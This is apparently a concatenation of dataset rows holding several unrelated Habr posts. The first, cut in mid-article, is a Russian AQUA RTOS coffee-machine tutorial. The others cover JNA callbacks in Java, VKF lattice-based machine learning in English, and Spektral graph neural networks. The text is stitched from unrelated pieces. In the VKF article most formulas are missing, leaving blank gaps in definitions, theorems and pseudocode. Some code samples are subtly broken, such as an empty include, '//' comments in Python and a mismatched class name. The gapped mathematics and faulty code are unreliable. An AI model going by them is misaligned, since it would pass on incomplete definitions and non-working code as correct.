**ShowGoods()** не слишком важна. Предложение может измениться только после отпуска товара, если запас каких-то ингредиентов окажется исчерпан. Поэтому дадим этой задаче приоритет 8, и пусть она выполняется при пуске автомата и каждый раз при отпуске товара.
**ScanKeys()** должна иметь достаточно высокий приоритет, чтобы автомат быстро реагировал на нажатие кнопок. Дадим этой задаче приоритет 3, и будем выполнять ее каждые 40 миллисекунд.
**AcceptMoney()** также является частью интерфейса пользователя. Мы дадим ей тот же приоритет, что и **ScanKeys(),** и будем выполнять каждые 20 миллисекунд.
**MakeChange ()** выполняется только после отпуска товара. Мы свяжем ее с **ReleaseCoffee()** и дадим приоритет 10.
**ReleaseCoffee()** нужна только тогда, когда было принято соответствующее количество денег и нажата кнопка выбора напитка. Для быстроты ответа дадим ей приоритет 2.
Поскольку вандалоустойчивость – довольно важная функция автомата, задаче **Alarm()** можно поставить самый высокий приоритет – 1, и активировать раз в секунду, чтобы проверить датчики наклона или вскрытия.
Таким образом, нам понадобится семь задач с различными приоритетами. После старта, когда программа считала настройки из EEPROM и инициализировала оборудование, наступает время инициализировать ОС и запустить задачи.
```
' объявление процедур задач
declare sub ControlHeater()
declare sub ShowGoods()
declare sub AcceptMoney()
declare sub ScanKeys()
declare sub MakeChange ()
declare sub ReleaseCoffee()
declare sub Alarm()
```
Для работы в составе RTOS каждая задача должна иметь определенную структуру: в ней должен быть хотя бы один вызов диспетчера (или сервиса ОС, автоматически передающего управление диспетчеру) – только так можно обеспечить кооперативную многозадачность.
Например, **ReleaseCoffee()** может выглядеть примерно так:
```
sub ReleaseCoffee()
do
OS_WaitMessage bCoffeeSelection
wItem = OS_GetMessage(bCoffeeSelection)
Release wItem
loop
end sub
```
Задача **ReleaseCoffee** в бесконечном цикле ожидает сообщение на тему **bCoffeeSelection** и не делает ничего, пока оно не поступит (управление автоматически возвращается диспетчеру, чтобы он мог запускать другие задачи). Как только сообщение послано, **ReleaseCoffee()** становится готовой к выполнению, и когда это случается, задача получает содержимое сообщения (код выбранного напитка) **wItem** с помощью сервиса **OS\_GetMessage** и отпускает товар заказчику. Поскольку **ReleaseCoffee()** использует подсистему сообщений, сообщение должно быть создано перед запуском многозадачности:
```
dim bCoffeeSelection as byte
bCoffeeSelection = OS_CreateMessage()
```
Как было сказано выше, **ShowGoods()** должна выполняться один раз при пуске и каждый раз при отпуске товара. Чтобы связать ее с процедурой отпуска **ReleaseCoffee()**, используем сервис событий. Для этого создадим событие перед запуском многозадачности:
```
dim bGoodsReliased as byte
bGoodsReliased = OS_CreateEvent()
```
А в процедуру **ReleaseCoffee()** после строчки **Release wItem** добавим сигнализацию о событии **bGoodsReliased**:
```
OS_SignalEvent bGoodsReliased
```
### Инициализация ОС
Для того, чтобы подготовить ОС к работе, мы должны инициализировать ее, указав при этом адрес обработчика ошибок, который находится в пользовательском коде. Сделаем это при помощи сервиса **OS\_Init**:
```
OS_Init Mailfuncion
```
В пользовательском коде нужно добавить обработчик – процедуру, байтовым аргументом которой будет код ошибки:
```
sub Mailfuncion (bCoffeeErr)
print "Mailfunction! Error #: "; bCoffeeErr
if isErrCritical (bCoffeeErr) = 1 then
CallService(bCoffeeErr)
end if
end sub
```
Эта процедура печатает код ошибки (или может выводить его каким-либо иным способом: на экран, через GSM-модем и т.п.), и в случае, если ошибка критическая, звонит в сервисную службу.
### Запуск задач
Мы уже помним, что события, семафоры и т.п. должны быть инициализированы до того, как будут использоваться. Кроме того, сами задачи перед запуском должны быть инициализированы с помощью сервиса **OS\_InitTask**:
```
OS_InitTask ControlHeater , 5
OS_InitTask ShowGoods , 8
OS_InitTask AcceptMoney , 3
OS_InitTask ScanKeys , 3
OS_InitTask MakeChange, 10
OS_InitTask ReleaseCoffee , 2
OS_InitTask Alarm , 1
```
Поскольку многозадачный режим еще не начался, порядок, в котором задачи стартуют, несущественен, и в любом случае не зависит от их приоритетов. В этом месте все задачи еще находятся в остановленном состоянии. Чтобы подготовить их к выполнению, мы должны с помощью сервиса **OS\_ResumeTask** задать им статус «готова к выполнению»:
```
OS_ResumeTask ControlHeater
OS_ResumeTask ShowGoods
OS_ResumeTask AcceptMoney
OS_ResumeTask ScanKeys
OS_ResumeTask MakeChange
OS_ResumeTask ReleaseCoffee
OS_ResumeTask Alarm
```
Как уже говорились, не все задачи обязательно должны стартовать при запуске многозадачности; некоторые из них могут произвольное время пребывать в состоянии «остановлена» и получать готовность лишь при определенных условиях. Сервис **OS\_ResumeTask** может быть вызван в любое время из любого места кода (фонового или задачи), когда многозадачность уже работает. Главное, чтобы задача, на которую он ссылается, была предварительно инициализирована.
### Пуск многозадачности
Теперь все готово для того, чтобы запустить многозадачность. Сделаем это путем вызова диспетчера:
```
OS_Sheduler
```
После этого мы смело можем поставить в коде программы **end** – управление дальнейшим исполнением кода теперь берет на себя ОС.
Давайте посмотрим на код целиком:
```
' начальные установки компилятора
config submode = old
$include "..\aquaRTOS_1.05.bas"
$include "coffee_hardware.bas" ' файл с процедурами управления оборудованием
' процедуры в этом файле имеют префикс Coffee_
$regfile = "m328pdef.dat" ' Arduino Nano v3
$crystal = 16000000
$hwstack = 48
$swstack = 48
$framesize = 64
Coffee_InitHardware ' инициализация оборудования автомата
' объявление процедур
declare sub Mailfuncion (byval bCoffeeErr as byte) ' обработчик ошибок
declare sub ControlHeater () ' управление водонагревателем
declare sub ShowGoods () ' показать наличие товара
declare sub AcceptMoney () ' прием наличных
declare sub ScanKeys () ' опрос кнопок
declare sub MakeChange () ' выдача сдачи после отпуска товара
declare sub ReleaseCoffee () ' отпуск товара
declare sub Alarm () ' обеспечение безопасности автомата
' проведем начальные настройки оборудования
Coffee_InitHardware ()
' объявление переменных
dim wMoney as long ' счетчик введенных денег
dim wGoods as long ' номер товара
' *** начало кода приложения ***
' инициализация ОС
OS_Init Mailfuncion
' создадим тему сообщения о выборе напитка
dim bCoffeeSelection as byte
bCoffeeSelection = OS_CreateMessage()
' создадим событие отпуска товара
dim bGoodsReliased as byte
bGoodsReliased = OS_CreateEvent()
' инициализация задач
OS_InitTask ControlHeater , 5
OS_InitTask ShowGoods , 8
OS_InitTask AcceptMoney , 3
OS_InitTask ScanKeys , 3
OS_InitTask MakeChange, 10
OS_InitTask ReleaseCoffee , 2
OS_InitTask Alarm , 1
' подготовка задач к выполнению
OS_ResumeTask ControlHeater
OS_ResumeTask ShowGoods
OS_ResumeTask AcceptMoney
OS_ResumeTask ScanKeys
OS_ResumeTask MakeChange
OS_ResumeTask ReleaseCoffee
OS_ResumeTask Alarm
' запуск ОС
OS_Sheduler
end
' *** код задач ***
' -----------------------------------
sub ControlHeater()
do
select case GetWaterTemp()
case is > 97
Coffee_HeaterOff ' выключить нагреватель
case is < 95
Coffee_HeaterOn ' включить нагреватель
case is < 5
CallServce (WARNING_WATER_FROZEN) ' угроза замерзания
end select
OS_Delay 60000 ' ждать 1 минуту
loop
end sub
' -----------------------------------
sub ShowGoods()
do
LEDS = Coffee_GetDrinkSupplies() ' установить состояние порта D,
' к которому подключены светодиоды индикации наличия товаров и
' ассоциирована переменная LEDS
OS_WaitEvent bGoodsReliased ' ожидать события "отпуск товара"
loop
end sub
' -----------------------------------
sub AcceptMoney()
do
wMoney = wMoney + ReadMoneyAcceptor()
OS_Delay 20
loop
end sub
' -----------------------------------
sub ScanKeys()
do
wGoods = ButtonPressed()
if wMoney >= GostOf(wGoods) then
OS_SendMessage bCoffeeSelection, wGoods
' отправляет сообщение на тему bCoffeeSelection, которое
' содержит код выбранного товара
end if
OS_Delay 40
loop
end sub
' -----------------------------------
sub MakeChange()
do
OS_WaitEvent bGoodsReliased ' ожидать события "отпуск товара"
Refund wMoney
loop
end sub
' -----------------------------------
sub ReleaseCoffee()
do
OS_WaitMessage bCoffeeSelection 'ждать сообщения bCoffeeSelection
wItem = OS_GetMessage(bCoffeeSelection) ' прочесть сообщение
Release wItem ' отпустить выбранный товар
wMoney = wMoney – CostOf (wItem) ' уменьшить на цену товара
OS_SignalEvent bGoodsReliased ' просигналить об этом задачам
' обратите внимание, что это событие могут ждать две задачи:
' MakeChange и ShowGoods
' обе они, получив сообщение, становятся готовыми к исполнению
loop
end sub
' -----------------------------------
sub Alarm()
do
OS_Delay 1000
if Hijack() = 1 then
CallPolice()
end if
loop
end sub
' -----------------------------------
' *** обработчик ошибок ОС ***
sub Mailfuncion (bCoffeeErr)
print "Mailfunction! Error #: "; bCoffeeErr
if isErrCritical (bCoffeeErr) = 1 then
CallService()
end if
end sub
```
Конечно, более правильным был бы подход не с периодическим опросом кнопок и датчика наличных, а с использованием прерываний. В обработчиках этих прерываний мы могли бы использовать посылку сообщений при помощи сервиса **OS\_SendMessage()** с содержимым, равным номеру нажатой клавиши или номиналу введенной монеты/купюры. Предлагаю читателю доработать программу самостоятельно. Благодаря подходу, ориентированному на задачи, и сервису, предоставляемому ОС, это потребует минимальных изменений кода.
Исходный код AQUA RTOS
----------------------
[**Исходный код версии 1.05 доступен для скачивания по ссылке**](https://github.com/CirnoBaka9/AQUA-RTOS.git)
Постскриптум
------------
*Q: Почему AQUA?*
A: Ну, я делала контроллер аквариума, это как «умный дом», только не людям, а для рыбок. Полно всяких датчиков, часы реального времени, релейные и аналоговые силовые выходы, экранное меню, гибкая «программа событий» и даже WiFi-модуль. Интервалы должны отсчитываться, кнопки опрашиваться, датчики обрабатываться, программа событий читаться из EEPROM и выполняться, экран обновляться, вай-фай отвечать. Да еще контроллер должен переходить в многоуровневое меню для настроек и программирования. Делать на флагах и прерываниях – это как раз получить тот самый «макаронный код», в котором ни разобраться, ни модифицировать. Поэтому я и решила, что мне нужна ОС. Вот она и AQUA.
*Q: Наверняка в коде полно логических ошибок и глюков?*
A: Наверняка. Я, как могла, придумывала разнообразные тесты и гоняла ОС на самых разных задачках, и даже прихлопнула заметное число багов, но это не означает, что всех и полностью. Более чем уверена, что их еще немало затаилось в закоулках кода. Поэтому буду очень благодарна, если вместо того, чтобы тыкать меня в баги мордой, вы вежливо и тактично укажете на них, а лучше и подскажете, как их, по-вашему, лучше исправить. Будет также замечательно, если проект получит дальнейшее развитие как продукт коллективного творчества. Например, кто-нибудь допишет сервис счетных семафоров (не забыли? – я ленивая задница) и предложит другие улучшения. В любом случае буду очень благодарна за конструктивный вклад. | https://habr.com/ru/post/453708/ | null | ru | null |
# JNA: callbacks to Java
Мне понадобилось подключить наш проект на Яве к старой библиотеке на C. Одной из проблем было, что эта библиотека требует регистрации колбеков (callbacks), которые вызывает по ходу работы, и которые, я хотел бы имплементировать на стороне Явы.
JNI позволяет это всё делать, но муторно. Есть прекрасная библиотека JNA как замена JNI я хотел воспользоваться ей.
К сожалению сайт JNA сейчас пуст — они переезжают с сервера на сервер, статьи по JNA не показывают пример callbacks, поэтому пришлось повозиться немного, чтобы сделать работающий пример.
Этот пример и хочу показать — может кому то приходится.
Начинаем со стороны C:
my.h
```
typedef void (*callback)(char *, char*);
int myfunc(char *);
void registerCallback(callback myc);
```
my.c
```
#include
#include "my.h"
static callback c;
int myfunc(char \*name) {
(\*c)("received", name);
return strlen(name);
}
void registerCallback(callback myc) {
c = myc;
}
```
Компилируем:
| |
| --- |
|
```
gcc -c -fPIC -m32 -g my.c -omy.o
gcc -m32 -shared -g my.o -o ./libmy.so
```
|
и кладём куда то, куда указывает LD\_LIBRARY\_PATH
Создаём интерфейс для callback и интерфейс, который представляет нашу C библиотеку:
MyCallBack.java
```
import com.sun.jna.Callback;
public class MyCallBack implements Callback {
public void callback (String param1, String param2) {
System.out.println(param1+" "+param2);
}
}
```
MyLib.java
```
import com.sun.jna.Library;
public interface MyLib extends Library {
int myfunc(String name);
void registerCallback(MyCallBack myc);
}
```
И всё! Никаких странных сигнатур или генерации header files, знакомых из JNI!
Вызывается это так:
```
import com.sun.jna.Native;
public class App {
public static void main(String[] args) {
MyLib lib = (MyLib) Native.loadLibrary("my", MyLib.class);
lib.registerCallback(new MyCallBack());
System.out.println(lib.myfunc("test1"));
}
}
```
Единственное что неприятно, о, что в колбеке может быть только один метод, т.е. если у меня десять колбеков, мне надо создавать (и регистрировать!) десять таких классов. Но можно сделать один ява класс, который будет содержать эту всю логику — он будет принимать один интерфейс с многоми методами для колбеков и «переводить» его на язык многих классов имплементирующих интерфейс Callback
UPD:
ЖЖ юзер letu4i пишет:
Хотел заметить, что реализация JNA немного отличается в разных JVM. Например в Cassandra был баг из-за чрезмерного полагания на JNA:
[issues.apache.org/jira/browse/CASSANDRA-1760](https://issues.apache.org/jira/browse/CASSANDRA-1760)
Если не трудно, добавьте disclaimer что использовать надо аккуратно.
P.S. Баг проявлялся на JRockit JVM | https://habr.com/ru/post/113436/ | null | ru | null |
# Mathematics of Machine Learning based on Lattice Theory
This is a third article in the series of works (see also [first one](https://habr.com/en/post/509480/) and [second one](https://habr.com/en/post/510120/)) describing Machine Learning system based on Lattice Theory named 'VKF-system'. It uses structural (lattice theoretic) approach to representing training objects and their fragments considered to be causes of the target property. The system computes these fragments as similarities between some subsets of training objects. There exists the algebraic theory for such representations, called Formal Concept Analysis (FCA). However the system uses randomized algorithms to remove drawbacks of the unrestricted approach. The details follow…
#### Introduction
We begin with demonstration of our approach by its application to a school problem.
It is to find sufficient conditions on a convex quadrangle possessing symmetries to be circled and to predict this property of the rectangle.
Hence there are two target classes: positive (there exists a circle around the quadrangle) and negative.
The training sample contains square, isosceles trapezoid, diamond, and deltoid (see the rows labels in Table below).
A single test example is the rectangle.
We represent each quadrangle by a subset of attributes related to its possible symmetries:
"There exists a central symmetry point" (**A**),
"The group of rotations is trivial" (**B**),
"The group of rotations contains at least two elements" (**C**),
"There is a diagonal symmetry axis" (**D**),
"There is a non-diagonal symmetry axis" (**E**).
They correspond to columns labels in Table below.
| quadrangle | target | A | B | C | D | E |
| --- | --- | --- | --- | --- | --- | --- |
| square | 1 | 1 | 0 | 1 | 1 | 1 |
| trapezoid | 1 | 0 | 1 | 0 | 0 | 1 |
| diamond | 0 | 1 | 0 | 1 | 1 | 0 |
| deltoid | 0 | 0 | 1 | 0 | 1 | 0 |
| rectangle | ? | 1 | 0 | 1 | 0 | 1 |
To discover possible causes (in terms of symmetries) the system computes similarities (common attributes) between training examples of same sign. Hence we have
where first subset collects parents (all the training objects whose similarity computed), and the second is a common fragment of these examples.
Since common fragment  is a part of rectangle's description , the system predicts the target property positively, i.e. the rectangle is circled. It corresponds to Analogy cognitive procedure of the JSM-method. The analogues of the rectangle are parents (square and trapezoid) that have the same fragment as common part.
However, we can exchange signs: the similarity between negative examples is
This observation leads to Argumentation Logics, but we prefer to omit the details here. Interested reader refers to the author's papers from Финн В.К., Аншаков О.М., Виноградов Д.В. (Ред.). Многозначные логики и их применения. Том 2: Логики в системах искусственного интеллекта, M.: URSS, 2020, 238 с. ISBN 978-5-382-01977-2 (in Russian).
English translations may be requested from the author (Allerton Press now is a part of Springer, but original translations are not available through any sites).
However the similarity between negative examples demonstrate the 'counter-example forbidden' condition, since its fragment  is a part of description  of opposite sign example 'square'.
#### 1. Formal Concept Analysis
Initially the author planned to represent the theory in terms of so-called JSM-method of automatic hypotheses generation. But its creator said the doubt on possibility to express 'rich ideas of JSM-method in popular fashion'. Hence the author decide to use FCA language for this article. However the author will use some own terms paired with original ones (in brackets) where he prefer to change the terminology.
A *sample* (=*formal context*) is a triple  where  and  are finite sets and . The elements of  and  are called *objects* and *attributes*, respectively. As usual, we write  instead of  to denote that object  has attribute .
For  and , define
so  is the set of attributes common to all the objects in  and  is the set of objects possessing all the attributes in . The maps  and  are called *polars* (=*derivation operators*) of sample .
A *candidate* (=*formal concept*) of sample  is defined to be a pair , where , , , and . The first component  of candidate  is called the *parents list* (=*extent*) of the candidate, and the second component  is called its *fragment* (=*intent*). The set of all candidates of sample  is denoted by .
It is an easy exercise to check that  is a lattice with operations
We use a special case: for , , and  define
We call these operations CbO because the first one is used in well-known Close-by-One (CbO) Algorithm to generate all the elements of .
Most important (monotonicity) property of CbO operations is represented in the following Lemma
Let  be a sample, , , and . Then
#### 2. Problems with FCA
Unfortunately, the author and his colleagues have discovered and investigated some theoretical shortcomings of FCA based approach to Machine Learning:
1. The number of hypotheses can be an exponentially large with respect to the size of input data (training sample) in the worst case.
2. Problem of detection of large hypothesis is computational (NP-)hard.
3. Overtraining is unavoidable and appears in practice.
4. There are 'phantom' similarities between training examples, where each such parent has alternative hypothesis on the target property cause.
To demonstrate drawback 1 we need Boolean algebra case corresponding to the sample of coatoms as positive examples:
| $M\\G$ | $m_{1}$ | $m_{2}$ | $\ldots$ | $m_{n}$ |
| --- | --- | --- | --- | --- |
| $g_{1}$ | 0 | 1 | $\ldots$ | 1 |
| $g_{2}$ | 1 | 0 | $\ldots$ | 1 |
| $\vdots$ | $\vdots$ | $\vdots$ | $\ddots$ | $\vdots$ |
| $g_{n}$ | 1 | 1 | $\ldots$ | 0 |
Then it is easy to check that any pair  is a candidate. Hence there are  candidates.
To evaluate the exponential growth of the output with respect to the input, estimate memory needed to store the sample for  as 128 bytes and memory for  candidates as  bites, i.e. 16 Gigabytes!
Drawback 2 was discovered by Prof. Sergei O. Kuznetsov (HSE Moscow).
Shortcomings 3 and 4 were discovered by the author during his Dr.Science investigations. He introduced several probabilistic models to generate 'phantom' similarities together with corresponding counter-examples to deny them. Most clear result is the asymptotic theorem that asserts that a probability of generation of 'phantom' similarity between two parents without counter-examples tends to
![$1-e^{-a}-a\cdot{e^{-a}}\cdot\left[1-e^{-c\cdot\sqrt{a}}\right], $](https://habrastorage.org/getpro/habr/formulas/771/671/154/77167115443eff74b4e58d85625b1960.svg)
when the probability of appearance of each attribute (considered as i.i.d. Bernoulli variable) is , the number of counter-examples is  and attributes number  too.
Note, that even smaller number  is positive since it coincides with the probability that the Poisson variable with mean  has value >1.
Consult with the author's [Dr.Science Thesis](http://www.frccsc.ru/diss-council/00207305/diss/list/vinogradov_dv) for more details and results.
#### 3. Randomized Algorithms
The key idea of VKF-method is to random generate a small subset of the lattice of candidates and to use its elements as hypothetical causes for the target property. By this trick we avoid the exponentially high computational complexity of usual algorithms of FCA (and JSM-method too).
So we need algorithms like random walks on the huge lattice with generation of a candidate only when we need it.
The author invented and investigated mathematical properties of several algorithms (such as non-monotonic, monotonic, coupled, lazy coupled, and stopped coupled Markov chains). Details may be found in the author's [Dr.Science Thesis](http://www.frccsc.ru/diss-council/00207305/diss/list/vinogradov_dv).
Now we represent the coupled Markov chain algorithm that is a core of probabilistic approach to machine learning based on FCA (VKF-method).
```
input: sample (G,M,I), external functions CbO( , )
result: random candidate
X=G U M;
A = M'; B = M;
C = G; D = G';
while (A!=C || B!= D) {
select random element x from X;
= CbO(,x);
= CbO(,x);
}
```
There exists a lazy variant of the coupled Markov chain. The author proved that lazy computations lead to acceleration (with respect to classical scheme above) up-to
times, where  is the attributes total and  is a number of training examples.
This result matches well to experimental estimates obtained by former RSUH student Lyudmila A. Yakimova.
#### 4. General Structure of VKF-method
In supervised Machine Learning there are two sets of objects called the *training* and *test samples*, respectively.
From positive examples of the training sample the program generates a sample . The negative examples form the set  of *counter-examples* (obstacles to become a VKF-hypothesis).
Set  of tests contains all test objects to predict the target class.
The program invokes the algorithm of the lazy coupled Markov chain to generate random candidate . The program saves VKF-hypothesis , if there is no obstacle  such that .
The main Inductive Generalization Algorithm is the following
```
input: number N of VKF-hypotheses to generate
result: random sample S of requested VKF-hypotheses
while (i for (G,M,I);
hasObstacle = false;
for (o in O) {
if (B is a part of {o}') hasObstacle = true;
}
if (hasObstacle == false) {
S = S U {};
i = i+1;
}
}
```
Condition  means the inclusion of fragment  of candidate  into the fragment (attributes subset) of counter-example .
If a candidate avoids all such obstacles it is added to the result set of generated VKF-hypotheses.
We replace a time-consuming deterministic algorithm (for instance, the well-known "Close-by-One" algorithm) for generation of the all candidates by the probabilistic one to randomly generate the prescribed number of VKF-hypotheses.
After that Machine Learning system predicts the target class of tests and compares the results of prediction with the original target values. This is Prediction Algorithm
```
input: list T of test examples to predict the target property
input: random sample S of candidates without counter-examples
for (x in T) {
target(x) = false;
for ( in S) {
if (B is a part of {x}') target(x) = true;
}
}
```
The worst situation occurs when some important positive test is missed by all generated VKF-hypotheses and obtains negative sign.
Test object  is an -*important*, if the probability of all VKF-hypotheses  with  exceeds .
The author proved theorem to estimate parameter  from Inductive Generalization Algorithm to avoid the worst case.
For , for any , and any  random sample  of VKF-hypotheses of cardinality
with probability  has property that every -important object  contains a fragment of some VKF-hypothesis , i.e. .
This theorem is an analogue of famous results of Prof. Vladimir N. Vapnik and Prof. Alexey Y. Chervonenkis from Computational Learning Theory.
#### Conclusion
The article describes main mathematical aspects of Machine Learning system based on Lattice Theory. The author call it 'VKF-system' in honour his teacher Prof. Victor K. Finn.
The last article of the series will be devoted to representations of objects with attributes of different types for application of described here Learning Machine.
Discrete attributes again require some technique from FCA. Continuous attributes ask for logistic regression, entropy-based separation of their ranges into subintervals, and presentation corresponding to convex envelope for subintervals those similarity is computed.
The author would like to thanks his colleagues and students for support and stimulus. | https://habr.com/ru/post/510534/ | null | en | null |
# Ищем скрытые смыслы. Графовые нейронные сети на основе Spektral
Развитие методов глубокого машинного обучения привело к росту популярности нейронных сетей в задачах распознавания образов, машинного перевода, генерации изображений и текстов и многих других. С 2009 года нейронные сети попытались применить напрямую в задачах обработки графов (к которым могут относиться системы веб-страниц, связанных ссылками, словари с определенными отношениями между словами, граф социальных связей и другие) и среди возможных задач можно определить поиск кластеров узлов, создание новых графов на основе имеющейся информации о структуре графа, расширение графа и предсказание новых связей и другие. Сейчас выделяют несколько типов нейронных сетей на основе графов - сверточные графовые сети (Convolutional Graph Network), графовые изоморные сети (Graph Isomorphism Network) и многие другие и они часто используются для анализа цитирования статей, исследования текста (представление предложения как графа с указанием типов отношений между словами), изучения взаимосвязанных структур (например, исследования белковых молекул, в частности сеть Alphafold использует модель GNN) и т.д. В статье мы рассмотрим некоторые общие вопросы создания и обучения графовых сетей на основе библиотеки Python [Spektral](https://graphneural.network/).
Внутри Spektral используется Keras и топология нейронной сети может быть заданы стандартными механизмами Keras Layers, но изначально предлагается большое количество преднастроенных моделей. В Spektral исходные данные для обучения сети представляются в виде экземпляров объектов spektral.data.Graph, который определяется 4 атрибутами:
* a - матрица связности (квадратный np.array для определения ребер, связывающих узлы или таблица связности)
* x - свойства узлов (np.array со списком свойств)
* e - свойства ребер (таблица связности, определяющая номера узлов, которые формируют ребро и список свойств ребра)
* y - метки (одномерный или двумерный np.array для описания меток узлов или глобальных меток. В двумерном случае первый индекс - идентификатор узла, второй - идентификатор метки внутри узла, если их несколько)
Узлы графа пронумерованы и матрица связности представляет двумерный массив с указанием отношений между узлами (в том числе возможна связь узла с самим собой). Значение на пересечении определяет идентификатор ребра. Также связность может быть представлена в виде таблицы из трех столбцов, которые связывают номера узлов и идентификатор ребра (при этом связи могут быть и однонаправленными и двунаправленными, тогда они представляются двумя строками), этот формат больше подходит для графов с относительно маленьким количеством связей.
Граф может быть сформирован как вручную, так и использованием вспомогательных загрузчиков, которые используют наборы данных из spektral.dataset.Dataset. Также представлено несколько готовых наборов данных по цитированию статей (пакет spectral.datasets.citation), reddit (spectral.datasets.graphsage.Reddit), описание структуры молекул QM9 (spektral.datasets.qm9.QM9) и многие другие.
Для исследования будем использовать базу данных цитирования Cora. Установим модуль pip install spektral и подготовим набор данных для дальнейшего обучения сети:
```
from spektral.datasets import Cora
dataset = Cora()
dataset
Cora(n_graphs=1)
dataset[0]
Graph(n_nodes=2708, n_node_features=1433, n_edge_features=None, n_labels=7)
```
Полученный dataset представляет собой коллекцию графов (в нашем случае один граф), который состоит из 2708 узлов, 1433 свойств у каждого узла, 7 меток, свойства у ребер не определены. В реальных датасетах может быть представлено большое количество графов (например, в описании структуры молекул) и можно использовать методы filter / map / apply для отбора и модификации индивидуальных графов в наборе данных.
Следующим шагом нужно подготовить данные для передачи в нейронную сеть. Для этого мы будем использовать загрузчики (loaders), которые создают несколько разные представления данных:
* `SingleLoader` используется когда в наборе данных у нас только один граф
* `DisjointLoader` объединяет несколько графов в один большой и преобразует его во входные векторы для нейронной сети
* `BatchLoader` создает набор графов для обучения нейронной сети (аналогично тому, как представляется набор обучающих образцов в других типах сетей)
* `MixedLoader` создает один большой граф, но при этом оставляет метки как независимые входные векторы
```
from spektral.data import SingleLoader
loader = SingleLoader(dataset)
loader.load()
```
Дальше создадим непосредственно нейронную сеть. Фактически основную задачу выполняют первые слои сети и нам доступно несколько вариантов графовых сетей в пакете spektral.layers (например, GCNConv - сверточные слои для [Graph Convolutional Network](https://towardsdatascience.com/understanding-graph-convolutional-networks-for-node-classification-a2bfdb7aba7b), GraphSageConv для данных, собранных по алгоритму [GraphSage](https://snap.stanford.edu/graphsage/) и др., подробно о различиях в топологиях разных моделей графовых сетей можно почитать [здесь](https://theaisummer.com/gnn-architectures/)). Сеть создается обычным для Keras способом, через реализацию Model:
```
class MyFirstGNN(Model):
def __init__(self, n_hidden, n_labels):
super().__init__()
self.graph_conv = GCNConv(n_hidden) //собственно сама сеть
self.pool = GlobalSumPool() //обобщение результатов
self.dropout = Dropout(0.5) //избегаем переобучения
self.dense = Dense(n_labels, 'softmax') //классификация по n_labels
def call(self, inputs):
out = self.graph_conv(inputs)
out = self.dropout(out)
out = self.pool(out)
out = self.dense(out)
return out
```
Дальше работа с сетью ничем не отличается от любых других реализаций сетей на основе Keras:
* Создаем экземпляр модели
* Компилируем модель с указанием функции потерь, оптимизатора и метрики
* Обучаем модель на входных данных (получены после использования загрузчика)
* Оцениваем точность модели
* Применяем модель для классификации узлов или иным образом, который определяется топологией сети
```
model = MyFirstGnn()
model.compile(
optimizer=Adam(0.01),
loss=CategoricalCrossentropy(reduction="sum"),
weighted_metrics=["acc"],
)
def mask_to_weights(mask):
return mask.astype(np.float32) / np.count_nonzero(mask)
weights_tr, weights_va, weights_te = (
mask_to_weights(mask)
for mask in (dataset.mask_tr, dataset.mask_va, dataset.mask_te)
)
# sample_weight - веса, которые назначаются для ребер
loader_tr = SingleLoader(dataset, sample_weights=weights_tr)
loader_va = SingleLoader(dataset, sample_weights=weights_va)
model.fit(
loader_tr.load(),
steps_per_epoch=loader_tr.steps_per_epoch,
validation_data=loader_va.load(),
validation_steps=loader_va.steps_per_epoch,
epochs=epochs,
callbacks=[EarlyStopping(patience=patience, restore_best_weights=True)],
)
```
Использование графовых нейронных сетей может быть полезно при анализе взаимосвязанных данных (с возможным атрибутированием узлов и связей между ними) и использоваться для классификации новых узлов (по их атрибутам или связям), предсказания возможных связей и генерации графов (например, создании новых белковых молекул по ожидаемым свойствам).
При написании статьи использовались материалы публикации [Graph Neural Networks in TensorFlow and Keras with Spektral](https://arxiv.org/abs/2006.12138) Daniele Grattarola and Cesare Alippi (<https://arxiv.org/abs/2006.12138>)
*В преддверии старта курса Python для аналитики приглашаю всех желающих на бесплатный урок в рамках которого рассмотрим возможности применения в Python практик использования RFM сегментации клиентов на примере.*
* [Зарегистрироваться на бесплатный урок](https://otus.pw/J2GT/) | https://habr.com/ru/post/681686/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.